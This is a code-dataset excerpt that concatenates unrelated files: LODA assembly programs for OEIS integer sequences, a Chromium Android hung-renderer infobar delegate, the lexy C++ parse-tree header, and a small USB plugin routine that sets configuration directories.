text stringlengths 1 1.05M |
|---|
; A017732: Binomial coefficients C(n,68).
; 1,69,2415,57155,1028790,15020334,185250786,1984829850,18855883575,161322559475,1258315963905,9036996468045,60246643120300,375382930211100,2198671448379300,12165982014365460,63871405575418665,319357027877093325,1525816910968334775,6986635329170796075,30741195448351502730,130284114043013511570,532980466539600729150,2108748802395811580550,8083537075850611058775,30070757922164273138643,108717355564747756732017,382524028838927292205245,1311510956019179287560840,4386778025305530720462120,14330141549331400353509592,45764000431735762419272568,143012501349174257560226775,437704928371715151926754675,1313114785115145455780264025,3864309224767428055581919845,11163559982661458827236657330,31680372923769004779995919450,88371566576829329123146512150,242455323685147133748119917950,654629373949897261119923778465,1740356140500946377123699801285,4558075606073907178181118527175,11766195169167527832048933872475,29950314976062798117942740766300,75208568717668804162833993479820,186386452909005297273110331667380,456051959245438493327823151952100,1102125568176476358875572617217575,2631605948503014979355959106417475,6210590038467115351280063491145241,14491376756423269152986814812672229,33441638668669082660738803413858990,76347892054886018904705570058055430,172489682049927672340260732353384490,385749652584383703597310365081205314,854159945008278200822615808394097481
add $0,68
bin $0,68
|
// Copyright 2015 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "chrome/browser/android/hung_renderer_infobar_delegate.h"
#include "base/callback.h"
#include "base/metrics/histogram.h"
#include "chrome/browser/android/android_theme_resources.h"
#include "chrome/browser/infobars/infobar_service.h"
#include "chrome/grit/generated_resources.h"
#include "components/infobars/core/infobar.h"
#include "content/public/browser/render_process_host.h"
#include "content/public/common/result_codes.h"
#include "ui/base/l10n/l10n_util.h"
// static
void HungRendererInfoBarDelegate::Create(
InfoBarService* infobar_service,
content::RenderProcessHost* render_process_host) {
DCHECK(render_process_host);
infobar_service->AddInfoBar(
infobar_service->CreateConfirmInfoBar(scoped_ptr<ConfirmInfoBarDelegate>(
new HungRendererInfoBarDelegate(render_process_host))));
}
void HungRendererInfoBarDelegate::OnRendererResponsive() {
LogEvent(RENDERER_BECAME_RESPONSIVE);
}
HungRendererInfoBarDelegate::HungRendererInfoBarDelegate(
content::RenderProcessHost* render_process_host)
: render_process_host_(render_process_host),
terminal_event_logged_for_uma_(false) {}
HungRendererInfoBarDelegate::~HungRendererInfoBarDelegate() {
if (!terminal_event_logged_for_uma_)
LogEvent(TAB_CLOSED);
}
infobars::InfoBarDelegate::InfoBarIdentifier
HungRendererInfoBarDelegate::GetIdentifier() const {
return HUNG_RENDERER_INFOBAR_DELEGATE;
}
void HungRendererInfoBarDelegate::InfoBarDismissed() {
LogEvent(CLOSE_CLICKED);
}
HungRendererInfoBarDelegate*
HungRendererInfoBarDelegate::AsHungRendererInfoBarDelegate() {
return this;
}
int HungRendererInfoBarDelegate::GetIconId() const {
return IDR_ANDROID_INFOBAR_FROZEN_TAB;
}
base::string16 HungRendererInfoBarDelegate::GetMessageText() const {
return l10n_util::GetStringUTF16(IDS_BROWSER_HANGMONITOR_RENDERER_INFOBAR);
}
base::string16 HungRendererInfoBarDelegate::GetButtonLabel(
InfoBarButton button) const {
return l10n_util::GetStringUTF16(
(button == BUTTON_OK) ? IDS_BROWSER_HANGMONITOR_RENDERER_INFOBAR_END
: IDS_BROWSER_HANGMONITOR_RENDERER_WAIT);
}
bool HungRendererInfoBarDelegate::Accept() {
LogEvent(KILL_CLICKED);
render_process_host_->Shutdown(content::RESULT_CODE_HUNG, false);
return true;
}
bool HungRendererInfoBarDelegate::Cancel() {
LogEvent(WAIT_CLICKED);
return true;
}
void HungRendererInfoBarDelegate::LogEvent(Event event) {
DCHECK(!terminal_event_logged_for_uma_);
terminal_event_logged_for_uma_ = true;
UMA_HISTOGRAM_ENUMERATION("Renderer.Hung.MobileInfoBar.UserEvent", event,
EVENT_COUNT);
}
|
; A069210: a(1)=a(2)=1, a(n+2) = a(n+1)+1 if sign(sin(a(n+1)) = sign(sin(a(n)), a(n+2) = a(n)+1 otherwise.
; 1,1,2,3,4,4,5,6,7,7,8,9,10,10,11,12,13,13,14,15,16,16,17,18,19,19,20,21,22,22,23,24,25,26,26,27,28,29,29,30,31,32,32,33,34,35,35,36,37,38,38,39,40,41,41,42,43,44,44,45,46,47,48,48,49,50,51,51,52,53,54,54,55
mov $1,$0
mov $2,2
lpb $0,1
mul $1,$2
mov $2,$0
div $0,30
sub $0,1
mov $3,1
add $3,$1
add $3,$2
lpe
add $0,$3
div $0,4
add $0,1
mov $1,$0
|
; A033960: Convolution of natural numbers n >= 1 with Fibonacci numbers F(k), k >= 4.
; 3,11,27,56,106,190,329,557,929,1534,2516,4108,6687,10863,17623,28564,46270,74922,121285,196305,317693,514106,831912,1346136,2178171,3524435,5702739,9227312,14930194,24157654,39088001,63245813,102333977,165579958,267914108,433494244,701408535,1134902967,1836311695,2971214860,4807526758,7778741826,12586268797,20365010841,32951279861,53316290930,86267571024,139583862192,225851433459,365435295899,591286729611,956722025768,1548008755642,2504730781678,4052739537593,6557470319549,10610209857425
mov $2,$0
add $2,1
mov $3,$0
lpb $2
mov $0,$3
sub $2,1
sub $0,$2
add $0,1
seq $0,167616 ; a(n) = Fibonacci(n) - 5.
add $1,$0
lpe
mov $0,$1
|
; A291510: The arithmetic function uhat(n,2,5), negated.
; 14,14,14,14,14,14,14,16,18,20,22,24,26,28,30,32,34,36,38,40,42,44,46,48,50,52,54,56,58,60,62,64,66,68,70,72,74,76,78,80,82,84,86,88,90,92,94,96,98,100,102,104,106,108,110,112,114,116,118,120,122,124,126,128,130,132,134,136,138,140
trn $0,6
mul $0,2
add $0,14
|
// Copyright (C) 2020-2022 Jonathan Müller and lexy contributors
// SPDX-License-Identifier: BSL-1.0
#ifndef LEXY_PARSE_TREE_HPP_INCLUDED
#define LEXY_PARSE_TREE_HPP_INCLUDED
#include <lexy/_detail/assert.hpp>
#include <lexy/_detail/config.hpp>
#include <lexy/_detail/iterator.hpp>
#include <lexy/_detail/memory_resource.hpp>
#include <lexy/grammar.hpp>
#include <lexy/token.hpp>
//=== internal: pt_node ===//
namespace lexy::_detail
{
template <typename Reader>
class pt_node;
template <typename Reader>
struct pt_node_token;
template <typename Reader>
struct pt_node_production;
template <typename Reader>
class pt_node
{
public:
static constexpr auto type_token = 0b0u;
static constexpr auto type_production = 0b1u;
static constexpr auto role_sibling = 0b0u;
static constexpr auto role_parent = 0b1u;
//=== information about the current node ===//
unsigned type() const noexcept
{
return _value & 0b1;
}
auto as_token() noexcept
{
return type() == type_token ? static_cast<pt_node_token<Reader>*>(this) : nullptr;
}
auto as_production() noexcept
{
return type() == type_production ? static_cast<pt_node_production<Reader>*>(this) : nullptr;
}
//=== information about the next node ===//
void set_sibling(pt_node<Reader>* sibling) noexcept
{
_value = _make_packed_ptr(sibling, type(), role_sibling);
}
void set_parent(pt_node_production<Reader>* parent) noexcept
{
_value = _make_packed_ptr(parent, type(), role_parent);
}
unsigned next_role() const noexcept
{
return (_value & 0b10) >> 1;
}
pt_node<Reader>* next_node() const noexcept
{
// NOLINTNEXTLINE: We need pointer conversion.
return reinterpret_cast<pt_node<Reader>*>(_value & ~std::uintptr_t(0b11));
}
protected:
explicit pt_node(unsigned type)
// We initializy it to a null parent pointer.
// This means it is automatically an empty child range.
: _value(_make_packed_ptr(nullptr, type, role_parent))
{}
private:
static std::uintptr_t _make_packed_ptr(pt_node<Reader>* ptr, unsigned type, unsigned role)
{
auto result = reinterpret_cast<std::uintptr_t>(ptr);
LEXY_PRECONDITION((result & 0b11) == 0);
result |= (role & 0b1) << 1;
result |= (type & 0b1);
return result;
}
// Stores an address of the "next" node in the tree.
// Stores a bit that remembers whether the next node is a sibling or parent (the role).
// Stores a bit that remembers whether *this* node is a token or production.
std::uintptr_t _value;
};
template <typename Reader>
struct pt_node_token : pt_node<Reader>
{
// If it's random access, we store size instead of end.
static constexpr auto _optimize_end
= _detail::is_random_access_iterator<typename Reader::iterator>;
using _end_t
// If we can optimize it, we store the size as a uint32_t, otherwise the iterator.
= std::conditional_t<_optimize_end, std::uint_least32_t, typename Reader::iterator>;
typename Reader::iterator begin;
_end_t end_impl;
::uint_least16_t kind;
explicit pt_node_token(std::uint_least16_t kind, typename Reader::iterator begin,
typename Reader::iterator end) noexcept
: pt_node<Reader>(pt_node<Reader>::type_token), begin(begin), kind(kind)
{
update_end(end);
}
typename Reader::iterator end() const noexcept
{
if constexpr (_optimize_end)
return begin + end_impl;
else
return end_impl;
}
void update_end(typename Reader::iterator end) noexcept
{
if constexpr (_optimize_end)
{
static_assert(sizeof(pt_node_token) == 3 * sizeof(void*));
auto size = std::size_t(end - begin);
LEXY_PRECONDITION(size <= UINT_LEAST32_MAX);
end_impl = std::uint_least32_t(size);
}
else
{
static_assert(sizeof(pt_node_token) <= 4 * sizeof(void*));
end_impl = end;
}
}
};
template <typename Reader>
struct pt_node_production : pt_node<Reader>
{
static constexpr std::size_t child_count_bits = sizeof(std::size_t) * CHAR_BIT - 2;
const char* name;
std::size_t child_count : child_count_bits;
std::size_t token_production : 1;
std::size_t first_child_adjacent : 1;
template <typename Production>
explicit pt_node_production(Production) noexcept
: pt_node<Reader>(pt_node<Reader>::type_production), child_count(0),
token_production(lexy::is_token_production<Production>), first_child_adjacent(true)
{
static_assert(sizeof(pt_node_production) == 3 * sizeof(void*));
name = lexy::production_name<Production>();
}
pt_node<Reader>* first_child()
{
auto memory = static_cast<void*>(this + 1);
if (child_count == 0)
{
// We don't have a child at all.
return nullptr;
}
else if (first_child_adjacent)
{
// The first child is stored immediately afterwards.
return static_cast<pt_node<Reader>*>(memory);
}
else
{
// We're only storing a pointer to the first child immediately afterwards.
return *static_cast<pt_node<Reader>**>(memory);
}
}
};
} // namespace lexy::_detail
//=== internal: pt_buffer ===//
namespace lexy::_detail
{
// Basic stack allocator to store all the nodes of a tree.
template <typename MemoryResource>
class pt_buffer
{
using resource_ptr = _detail::memory_resource_ptr<MemoryResource>;
static constexpr std::size_t block_size = 4096 - sizeof(void*);
struct block
{
block* next;
unsigned char memory[block_size];
static block* allocate(resource_ptr resource)
{
auto memory = resource->allocate(sizeof(block), alignof(block));
auto ptr = ::new (memory) block; // Don't initialize array!
ptr->next = nullptr;
return ptr;
}
static block* deallocate(resource_ptr resource, block* ptr)
{
auto next = ptr->next;
resource->deallocate(ptr, sizeof(block), alignof(block));
return next;
}
unsigned char* end() noexcept
{
return &memory[block_size];
}
};
public:
//=== constructors/destructors/assignment ===//
explicit constexpr pt_buffer(MemoryResource* resource) noexcept
: _resource(resource), _head(nullptr), _cur_block(nullptr), _cur_pos(nullptr)
{}
pt_buffer(pt_buffer&& other) noexcept
: _resource(other._resource), _head(other._head), _cur_block(other._cur_block),
_cur_pos(other._cur_pos)
{
other._head = other._cur_block = nullptr;
other._cur_pos = nullptr;
}
~pt_buffer() noexcept
{
auto cur = _head;
while (cur != nullptr)
cur = block::deallocate(_resource, cur);
}
pt_buffer& operator=(pt_buffer&& other) noexcept
{
lexy::_detail::swap(_resource, other._resource);
lexy::_detail::swap(_head, other._head);
lexy::_detail::swap(_cur_block, other._cur_block);
lexy::_detail::swap(_cur_pos, other._cur_pos);
return *this;
}
//=== allocation ===//
// Allocates the first block for the buffer.
// Must be called before everything else.
// (If done in the constructor, it would require a move that does allocation which we don't
// want).
// If called after being initialized, destroys all nodes without releasing memory.
void reset()
{
if (!_head)
_head = block::allocate(_resource);
_cur_block = _head;
_cur_pos = &_cur_block->memory[0];
}
void reserve(std::size_t size)
{
if (remaining_capacity() < size)
{
auto next = block::allocate(_resource);
_cur_block->next = next;
_cur_block = next;
_cur_pos = &_cur_block->memory[0];
}
}
template <typename T, typename... Args>
T* allocate(Args&&... args)
{
static_assert(std::is_trivially_copyable_v<T>);
static_assert(alignof(T) == alignof(void*));
constexpr auto size = sizeof(T); // NOLINT: It's fine, we want to allocate for a pointer.
LEXY_PRECONDITION(_cur_block); // Forgot to call .init().
LEXY_PRECONDITION(remaining_capacity() >= size); // Forgot to call .reserve().
auto memory = _cur_pos;
_cur_pos += size;
return ::new (static_cast<void*>(memory)) T(LEXY_FWD(args)...);
}
void* top()
{
return _cur_pos;
}
void unwind(void* marker) noexcept
{
auto pos = static_cast<unsigned char*>(marker);
// Note: this is not guaranteed to work by the standard;
// We'd have to go through std::less instead.
// However, on all implementations I care about, std::less just does < anyway.
if (_cur_block->memory <= pos && pos < _cur_block->end())
// We're still in the same block, just reset position.
_cur_pos = pos;
else
// Reset to the beginning of the current block only.
// This can waste memory, but this is not a problem here:
// unwind() is only used to backtrack a production, which happens after a couple of
// tokens only; the memory waste is directly proportional to the lookahead length.
_cur_pos = _cur_block->memory;
}
private:
std::size_t remaining_capacity() const noexcept
{
return std::size_t(_cur_block->end() - _cur_pos);
}
LEXY_EMPTY_MEMBER resource_ptr _resource;
block* _head;
block* _cur_block;
unsigned char* _cur_pos;
};
} // namespace lexy::_detail
//=== parse_tree ===//
namespace lexy
{
template <typename Reader, typename TokenKind = void, typename MemoryResource = void>
class parse_tree
{
public:
//=== construction ===//
class builder;
constexpr parse_tree() : parse_tree(_detail::get_memory_resource<MemoryResource>()) {}
constexpr explicit parse_tree(MemoryResource* resource)
: _buffer(resource), _root(nullptr), _size(0), _depth(0)
{}
//=== container access ===//
bool empty() const noexcept
{
return _root == nullptr;
}
std::size_t size() const noexcept
{
return _size;
}
std::size_t depth() const noexcept
{
LEXY_PRECONDITION(!empty());
return _depth;
}
void clear() noexcept
{
_buffer.reset();
_root = nullptr;
}
//=== node access ===//
class node;
class node_kind;
node root() const noexcept
{
LEXY_PRECONDITION(!empty());
return node(_root);
}
//=== traverse ===//
class traverse_range;
traverse_range traverse(const node& n) const noexcept
{
return traverse_range(n);
}
traverse_range traverse() const noexcept
{
if (empty())
return traverse_range();
else
return traverse_range(root());
}
private:
_detail::pt_buffer<MemoryResource> _buffer;
_detail::pt_node_production<Reader>* _root;
std::size_t _size;
std::size_t _depth;
};
template <typename Input, typename TokenKind = void, typename MemoryResource = void>
using parse_tree_for = lexy::parse_tree<lexy::input_reader<Input>, TokenKind, MemoryResource>;
template <typename Reader, typename TokenKind, typename MemoryResource>
class parse_tree<Reader, TokenKind, MemoryResource>::builder
{
public:
class marker
{
public:
marker() : marker(nullptr, 0) {}
private:
// Where to unwind when done.
void* unwind_pos;
// The current production node.
// nullptr if using the container API.
_detail::pt_node_production<Reader>* prod;
// The number of children we've already added.
std::size_t child_count;
// The first and last child of the container.
_detail::pt_node<Reader>* first_child;
_detail::pt_node<Reader>* last_child;
// For a production node, depth of the production node.
// For a container node, depth of the children.
std::size_t cur_depth;
// The maximum local depth seen in the subtree beginning at the marker.
std::size_t local_max_depth;
explicit marker(void* unwind_pos, std::size_t cur_depth,
_detail::pt_node_production<Reader>* prod = nullptr)
: unwind_pos(unwind_pos), prod(prod), child_count(0), first_child(nullptr),
last_child(nullptr), cur_depth(cur_depth), local_max_depth(cur_depth)
{}
void clear()
{
first_child = nullptr;
last_child = nullptr;
child_count = 0;
}
void insert(_detail::pt_node<Reader>* child)
{
if (first_child == nullptr)
{
// Initialize the pointers.
first_child = last_child = child;
}
else
{
// last_child gets a sibling pointer.
last_child->set_sibling(child);
// child is now the last child.
last_child = child;
}
++child_count;
}
void insert_list(std::size_t length, _detail::pt_node<Reader>* first,
_detail::pt_node<Reader>* last)
{
if (length == 0)
return;
if (first_child == nullptr)
{
first_child = first;
last_child = last;
}
else
{
last_child->set_sibling(first);
last_child = last;
}
child_count += length;
}
void insert_children_into(_detail::pt_node_production<Reader>* parent)
{
LEXY_PRECONDITION(parent->child_count == 0);
if (child_count == 0)
return;
if (first_child == parent + 1)
{
parent->first_child_adjacent = true;
}
else
{
// This case happens either if the first child is in a new block or if we're
// dealing with a container node. In either case, we've already reserved memory
// for a pointer.
auto memory = static_cast<void*>(parent + 1);
::new (memory) _detail::pt_node<Reader>*(first_child);
parent->first_child_adjacent = false;
}
// last_child needs a pointer to the production.
last_child->set_parent(parent);
constexpr auto mask
= ((std::size_t(1) << _detail::pt_node_production<Reader>::child_count_bits) - 1);
parent->child_count = child_count & mask;
}
void update_size_depth(std::size_t& size, std::size_t& max_depth)
{
size += child_count;
if (cur_depth == local_max_depth && child_count > 0)
// We have children we haven't yet accounted for.
++local_max_depth;
if (max_depth < local_max_depth)
max_depth = local_max_depth;
}
friend builder;
};
//=== root node ===//
template <typename Production>
explicit builder(parse_tree&& tree, Production production) : _result(LEXY_MOV(tree))
{
// Empty the initial parse tree.
_result._buffer.reset();
// Allocate a new root node.
// No need to reserve for the initial node.
_result._root
= _result._buffer.template allocate<_detail::pt_node_production<Reader>>(production);
_result._size = 1;
_result._depth = 0;
// Begin construction at the root.
_cur = marker(_result._buffer.top(), 0, _result._root);
}
template <typename Production>
explicit builder(Production production) : builder(parse_tree(), production)
{}
parse_tree&& finish() &&
{
LEXY_PRECONDITION(_cur.prod == _result._root);
_cur.insert_children_into(_cur.prod);
_cur.update_size_depth(_result._size, _result._depth);
return LEXY_MOV(_result);
}
//=== production nodes ===//
template <typename Production>
auto start_production(Production production)
{
if constexpr (lexy::is_transparent_production<Production>)
// Don't need to add a new node for a transparent production.
return _cur;
// Allocate a node for the production and append it to the current child list.
// We reserve enough memory to allow for a trailing pointer.
// This is only necessary if the first child is in a new block,
// in which case we won't overwrite it.
_result._buffer.reserve(sizeof(_detail::pt_node_production<Reader>)
+ sizeof(_detail::pt_node<Reader>*));
auto node
= _result._buffer.template allocate<_detail::pt_node_production<Reader>>(production);
// Note: don't append the node yet, we might still backtrack.
// Subsequent insertions are to the new node, so update marker and return old one.
auto old = LEXY_MOV(_cur);
_cur = marker(node, old.cur_depth + 1, node);
return old;
}
void finish_production(marker&& m)
{
LEXY_PRECONDITION(_cur.prod || m.prod == _cur.prod);
if (m.prod == _cur.prod)
// We're finishing with a transparent production, do nothing.
return;
_cur.update_size_depth(_result._size, m.local_max_depth);
_cur.insert_children_into(_cur.prod);
// Insert the production node into the parent and continue with it.
m.insert(_cur.prod);
_cur = LEXY_MOV(m);
}
void cancel_production(marker&& m)
{
LEXY_PRECONDITION(_cur.prod);
if (_cur.prod == m.prod)
// We're backtracking a transparent production, do nothing.
return;
_result._buffer.unwind(_cur.unwind_pos);
// Continue with parent.
_cur = LEXY_MOV(m);
}
//=== container nodes ===//
marker start_container()
{
auto unwind_pos = _result._buffer.top();
if (_cur.prod && _cur.child_count == 0)
{
// If our parent production doesn't have any children,
// we might need space for a first child pointer.
//
// If our parent is another container, its start_container() function took care of it.
// If our parent already has a child, the first_child pointer is taken care of.
_result._buffer.template allocate<_detail::pt_node<Reader>*>(nullptr);
}
// Create a new container marker and activate it.
auto old = LEXY_MOV(_cur);
_cur = marker(unwind_pos, old.cur_depth);
return old;
}
template <typename Production>
void set_container_production(Production production)
{
LEXY_PRECONDITION(!_cur.prod);
if constexpr (lexy::is_transparent_production<Production>)
// If the production is transparent, we do nothing.
return;
// Allocate a new node for the production.
// We definitely need space for node pointer at this point,
// as the first child precedes it.
_result._buffer.reserve(sizeof(_detail::pt_node_production<Reader>)
+ sizeof(_detail::pt_node<Reader>*));
auto node
= _result._buffer.template allocate<_detail::pt_node_production<Reader>>(production);
_result._buffer.template allocate<_detail::pt_node<Reader>*>(nullptr);
// Create a new container that will contain the production as its only child.
// As such, it logically starts at the same position and depth as the current container.
auto new_container = marker(_cur.unwind_pos, _cur.cur_depth);
new_container.insert(node);
// The production contains all the children.
_cur.insert_children_into(node);
// The local_max_depth of the new container is determined by the old maximum depth + 1.
new_container.local_max_depth = [&] {
if (_cur.cur_depth == _cur.local_max_depth && _cur.child_count > 0)
// There are children we haven't yet accounted for.
return _cur.local_max_depth + 1 + 1;
else
return _cur.local_max_depth + 1;
}();
_result._size += _cur.child_count;
// And we continue with the current container.
_cur = new_container;
}
void finish_container(marker&& m)
{
LEXY_PRECONDITION(!_cur.prod);
// Insert the children of our container into the parent.
m.insert_list(_cur.child_count, _cur.first_child, _cur.last_child);
// We can't update size yet, it would be double counted.
// We do need to update the max depth if necessary, however.
std::size_t size = 0;
_cur.update_size_depth(size, m.local_max_depth);
// Continue with the parent.
_cur = LEXY_MOV(m);
}
void cancel_container(marker&& m)
{
LEXY_PRECONDITION(!_cur.prod);
// Deallocate everything we've inserted.
_result._buffer.unwind(_cur.unwind_pos);
// Continue with parent.
_cur = LEXY_MOV(m);
}
//=== token nodes ===//
void token(token_kind<TokenKind> _kind, typename Reader::iterator begin,
typename Reader::iterator end)
{
if (_kind.ignore_if_empty() && begin == end)
return;
auto kind = token_kind<TokenKind>::to_raw(_kind);
// We merge error tokens.
if (kind == lexy::error_token_kind && _cur.last_child && _cur.last_child->as_token()
&& _cur.last_child->as_token()->kind == lexy::error_token_kind)
{
// No need to allocate a new node, just extend the previous node.
_cur.last_child->as_token()->update_end(end);
}
else
{
// Allocate and append.
_result._buffer.reserve(sizeof(_detail::pt_node_token<Reader>));
auto node
= _result._buffer.template allocate<_detail::pt_node_token<Reader>>(kind, begin,
end);
_cur.insert(node);
}
}
private:
parse_tree _result;
marker _cur;
};
template <typename Reader, typename TokenKind, typename MemoryResource>
class parse_tree<Reader, TokenKind, MemoryResource>::node_kind
{
public:
bool is_token() const noexcept
{
return _ptr->as_token() != nullptr;
}
bool is_production() const noexcept
{
return _ptr->as_production() != nullptr;
}
bool is_root() const noexcept
{
// Root node has no next node.
return _ptr->next_node() == nullptr;
}
bool is_token_production() const noexcept
{
return is_production() && _ptr->as_production()->token_production;
}
const char* name() const noexcept
{
if (auto prod = _ptr->as_production())
return prod->name;
else if (auto token = _ptr->as_token())
return token_kind<TokenKind>::from_raw(token->kind).name();
else
{
LEXY_ASSERT(false, "unreachable");
return nullptr;
}
}
friend bool operator==(node_kind lhs, node_kind rhs)
{
if (lhs.is_token() && rhs.is_token())
return lhs._ptr->as_token()->kind == rhs._ptr->as_token()->kind;
else
// See the `operator==` for productions for rationale why this works.
return lhs._ptr->as_production()->name == rhs._ptr->as_production()->name;
}
friend bool operator!=(node_kind lhs, node_kind rhs)
{
return !(lhs == rhs);
}
friend bool operator==(node_kind nk, token_kind<TokenKind> tk)
{
if (auto token = nk._ptr->as_token())
return token_kind<TokenKind>::from_raw(token->kind) == tk;
else
return false;
}
friend bool operator==(token_kind<TokenKind> tk, node_kind nk)
{
return nk == tk;
}
friend bool operator!=(node_kind nk, token_kind<TokenKind> tk)
{
return !(nk == tk);
}
friend bool operator!=(token_kind<TokenKind> tk, node_kind nk)
{
return !(nk == tk);
}
template <typename Production, typename = lexy::production_rule<Production>>
friend bool operator==(node_kind nk, Production)
{
auto name = lexy::production_name<Production>();
// We can safely compare pointers, strings are necessarily interned:
// if Production::name exists: same address for all types,
// otherwise we use __PRETTY_FUNCTION__ (or equivalent), which is a function-local static.
//
// This only fails if we have different productions with the same name and the compiler does
// string interning. But as the production name corresponds to the qualified C++ name (by
// default), this is only possible if the user does something weird.
return nk.is_production() && nk._ptr->as_production()->name == name;
}
template <typename Production, typename = lexy::production_rule<Production>>
friend bool operator==(Production p, node_kind nk)
{
return nk == p;
}
template <typename Production, typename = lexy::production_rule<Production>>
friend bool operator!=(node_kind nk, Production p)
{
return !(nk == p);
}
template <typename Production, typename = lexy::production_rule<Production>>
friend bool operator!=(Production p, node_kind nk)
{
return !(nk == p);
}
private:
explicit node_kind(_detail::pt_node<Reader>* ptr) : _ptr(ptr) {}
_detail::pt_node<Reader>* _ptr;
friend parse_tree::node;
};
template <typename Reader, typename TokenKind, typename MemoryResource>
class parse_tree<Reader, TokenKind, MemoryResource>::node
{
public:
void* address() const noexcept
{
return _ptr;
}
auto kind() const noexcept
{
return node_kind(_ptr);
}
auto parent() const noexcept
{
if (kind().is_root())
// The root has itself as parent.
return *this;
// If we follow the sibling pointer, we reach a parent pointer.
auto cur = _ptr;
while (cur->next_role() == _detail::pt_node<Reader>::role_sibling)
cur = cur->next_node();
return node(cur->next_node());
}
class children_range
{
public:
class iterator : public _detail::forward_iterator_base<iterator, node, node, void>
{
public:
iterator() noexcept : _cur(nullptr) {}
node deref() const noexcept
{
return node(_cur);
}
void increment() noexcept
{
_cur = _cur->next_node();
}
bool equal(iterator rhs) const noexcept
{
return _cur == rhs._cur;
}
private:
explicit iterator(_detail::pt_node<Reader>* ptr) noexcept : _cur(ptr) {}
_detail::pt_node<Reader>* _cur;
friend children_range;
};
bool empty() const noexcept
{
return size() == 0;
}
std::size_t size() const noexcept
{
if (auto prod = _node->as_production())
return prod->child_count;
else
return 0;
}
iterator begin() const noexcept
{
if (auto prod = _node->as_production(); prod && prod->first_child())
return iterator(prod->first_child());
else
return end();
}
iterator end() const noexcept
{
// The last child has a next pointer back to the parent,
// so if we keep following it, we'll end up here.
return iterator(_node);
}
private:
explicit children_range(_detail::pt_node<Reader>* node) : _node(node)
{
LEXY_PRECONDITION(node);
}
_detail::pt_node<Reader>* _node;
friend node;
};
auto children() const noexcept
{
return children_range(_ptr);
}
class sibling_range
{
public:
class iterator : public _detail::forward_iterator_base<iterator, node, node, void>
{
public:
iterator() noexcept : _cur() {}
node deref() const noexcept
{
return node(_cur);
}
void increment() noexcept
{
if (_cur->next_role() == _detail::pt_node<Reader>::role_parent)
// We're pointing to the parent, go to first child instead.
_cur = _cur->next_node()->as_production()->first_child();
else
// We're pointing to a sibling, go there.
_cur = _cur->next_node();
}
bool equal(iterator rhs) const noexcept
{
return _cur == rhs._cur;
}
private:
explicit iterator(_detail::pt_node<Reader>* ptr) noexcept : _cur(ptr) {}
_detail::pt_node<Reader>* _cur;
friend sibling_range;
};
bool empty() const noexcept
{
return begin() == end();
}
iterator begin() const noexcept
{
// We begin with the next node after ours.
// If we don't have siblings, this is our node itself.
return ++iterator(_node);
}
iterator end() const noexcept
{
// We end when we're back at the node.
return iterator(_node);
}
private:
explicit sibling_range(_detail::pt_node<Reader>* node) noexcept : _node(node) {}
_detail::pt_node<Reader>* _node;
friend node;
};
auto siblings() const noexcept
{
return sibling_range(_ptr);
}
bool is_last_child() const noexcept
{
// We're the last child if our pointer points to the parent.
return _ptr->next_role() == _detail::pt_node<Reader>::role_parent;
}
auto lexeme() const noexcept
{
if (auto token = _ptr->as_token())
return lexy::lexeme<Reader>(token->begin, token->end());
else
return lexy::lexeme<Reader>();
}
auto token() const noexcept
{
LEXY_PRECONDITION(kind().is_token());
auto token = _ptr->as_token();
auto kind = token_kind<TokenKind>::from_raw(token->kind);
return lexy::token<Reader, TokenKind>(kind, token->begin, token->end());
}
friend bool operator==(node lhs, node rhs) noexcept
{
return lhs._ptr == rhs._ptr;
}
friend bool operator!=(node lhs, node rhs) noexcept
{
return lhs._ptr != rhs._ptr;
}
private:
explicit node(_detail::pt_node<Reader>* ptr) noexcept : _ptr(ptr) {}
_detail::pt_node<Reader>* _ptr;
friend parse_tree;
};
enum class traverse_event
{
/// We're visiting a production node before all its children.
enter,
/// We're visiting a production node after all its children.
exit,
/// We're visiting a token.
leaf,
};
template <typename Reader, typename TokenKind, typename MemoryResource>
class parse_tree<Reader, TokenKind, MemoryResource>::traverse_range
{
public:
using event = traverse_event;
struct _value_type
{
traverse_event event;
parse_tree::node node;
};
class iterator : public _detail::forward_iterator_base<iterator, _value_type, _value_type, void>
{
public:
iterator() noexcept = default;
_value_type deref() const noexcept
{
return {_ev, node(_cur)};
}
void increment() noexcept
{
if (_ev == traverse_event::enter)
{
auto child = _cur->as_production()->first_child();
if (child)
{
// We go to the first child next.
if (child->as_token())
_ev = traverse_event::leaf;
else
_ev = traverse_event::enter;
_cur = child;
}
else
{
// Don't have children, exit.
_ev = traverse_event::exit;
}
}
else
{
// We follow the next pointer.
if (_cur->next_role() == _detail::pt_node<Reader>::role_parent)
// We go back to a production for the second time.
_ev = traverse_event::exit;
else if (_cur->next_node()->as_production())
// We're having a production as sibling.
_ev = traverse_event::enter;
else
// Token as sibling.
_ev = traverse_event::leaf;
_cur = _cur->next_node();
}
}
bool equal(iterator rhs) const noexcept
{
return _ev == rhs._ev && _cur == rhs._cur;
}
private:
_detail::pt_node<Reader>* _cur = nullptr;
traverse_event _ev;
friend traverse_range;
};
bool empty() const noexcept
{
return _begin == _end;
}
iterator begin() const noexcept
{
return _begin;
}
iterator end() const noexcept
{
return _end;
}
private:
traverse_range() noexcept = default;
traverse_range(node n) noexcept
{
if (n.kind().is_token())
{
_begin._cur = n._ptr;
_begin._ev = traverse_event::leaf;
_end = _detail::next(_begin);
}
else
{
_begin._cur = n._ptr;
_begin._ev = traverse_event::enter;
_end._cur = n._ptr;
_end._ev = traverse_event::exit;
++_end; // half-open range
}
}
iterator _begin, _end;
friend parse_tree;
};
} // namespace lexy
#endif // LEXY_PARSE_TREE_HPP_INCLUDED
|
; A280378: Partial products of A119619.
; Submitted by Jon Maiga
; 1,1,2,6,144,1440,1036800,326592000,1463132160000,6636767477760000,24083501823295488000000,278164446059062886400000000,133241214725404817086218240000000000,1851999588197236795571599048704000000000000,79730449087475946864047275218548293632000000000000
mov $1,1
lpb $0
mov $2,$0
sub $0,1
seq $2,119619 ; a(n) = Product_{i=1..n} i / gcd(i,n).
mul $1,$2
lpe
mov $0,$1
|
#include <string>
#include <stdlib.h>
#include "Config.h"
#include "../configuration.h"
extern HINSTANCE hInst;
std::wstring IniDir;
std::wstring LogDir;
EXPORT_C_(void) USBsetSettingsDir( const char* dir )
{
OSDebugOut(L"USBsetSettingsDir: %S\n", dir);
wchar_t dst[4096] = {0};
size_t num = 0;
mbstowcs_s(&num, dst, dir, countof(dst));
IniDir = dst;
}
EXPORT_C_(void) USBsetLogDir( const char* dir )
{
OSDebugOut(L"USBsetLogDir: %S\n", dir);
wchar_t dst[4096] = {0};
size_t num = 0;
mbstowcs_s(&num, dst, dir, countof(dst));
LogDir = dst;
}
//TODO Use \\?\ to go past 260 char limit
